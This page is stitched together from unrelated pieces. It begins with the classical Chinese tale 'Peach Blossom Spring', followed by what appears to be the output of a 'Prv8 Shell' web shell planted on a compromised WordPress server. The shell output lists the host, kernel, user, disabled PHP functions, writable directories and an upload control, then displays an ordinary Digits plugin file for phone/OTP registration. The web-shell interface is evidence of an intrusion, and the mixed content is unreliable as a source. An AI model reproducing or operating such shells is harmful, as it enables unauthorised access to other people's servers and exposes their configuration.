晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/plugins/digits/includes/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/plugins/digits/includes/plugins/ihu.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_action( 'ump_before_printing_errors', 'dig_iump_verify_error' );
function dig_iump_verify_error( $errors ) {

	if ( ! isset( $_POST['phone'] ) ) {
		return $errors;
	}


	$phone = sanitize_mobile_field_dig( $_POST['phone'] );
	$code  = sanitize_text_field( $_POST['code'] );
	$csrf  = sanitize_text_field( $_POST['csrf'] );

	$otp = sanitize_text_field( $_POST['digit_otp'] );

	$countrycode = sanitize_text_field( $_POST['digt_countrycode'] );

	if ( empty( $phone ) || ! is_numeric( $phone ) ) {
		$errors['phone'] = __( 'Please enter a valid Mobile Number', 'digits' );

		return $errors;
	}


	$mobVerificationFailed = __( 'Mobile Number verification failed', 'digits' );
	if ( dig_gatewayToUse( $countrycode ) == 1 ) {
		if ( empty( $code ) || ! wp_verify_nonce( $csrf, 'crsf-otp' ) ) {
			$errors['phone'] = $mobVerificationFailed;

			return $errors;
		}
		$json      = getUserPhoneFromAccountkit( $code );
		$phoneJson = json_decode( $json, true );
		if ( $json == null ) {
			$errors['phone'] = $mobVerificationFailed;

			return $errors;

		}

		$mob = $countrycode . $phone;

		if ( $phoneJson['phone'] != $mob ) {
			$errors['phone'] = $mobVerificationFailed;

			return $errors;

		}

		$mob         = $phoneJson['phone'];
		$phone       = $phoneJson['nationalNumber'];
		$countrycode = $phoneJson['countrycode'];


	} else {
		if ( empty( $otp ) ) {
			$errors['phone'] = __( 'Please enter a valid OTP', 'digits' );

			return $errors;
		}
		if ( verifyOTP( $countrycode, $phone, $otp, true ) ) {

			$mob = $countrycode . $phone;
		} else {
			$errors['phone'] = $mobVerificationFailed;

			return $errors;
		}
	}

	$user = getUserFromPhone( $mob );
	if ( $phone != 0 && $user == null ) {
		global $dig_save_details;
		$dig_save_details = 1;
	}

	return $errors;
}

add_action( 'ump_on_register_action', 'dig_iump_add_mobile' );
function dig_iump_add_mobile( $user_id ) {
	global $dig_save_details;

	if ( $dig_save_details == 1 ) {
		$phone       = sanitize_mobile_field_dig( $_POST['phone'] );
		$countrycode = sanitize_text_field( $_POST['digt_countrycode'] );

		update_user_meta( $user_id, 'digt_countrycode', $countrycode );
		update_user_meta( $user_id, 'digits_phone_no', $phone );
		update_user_meta( $user_id, 'digits_phone', $countrycode . $phone );
	}
}

?>

haha - 2025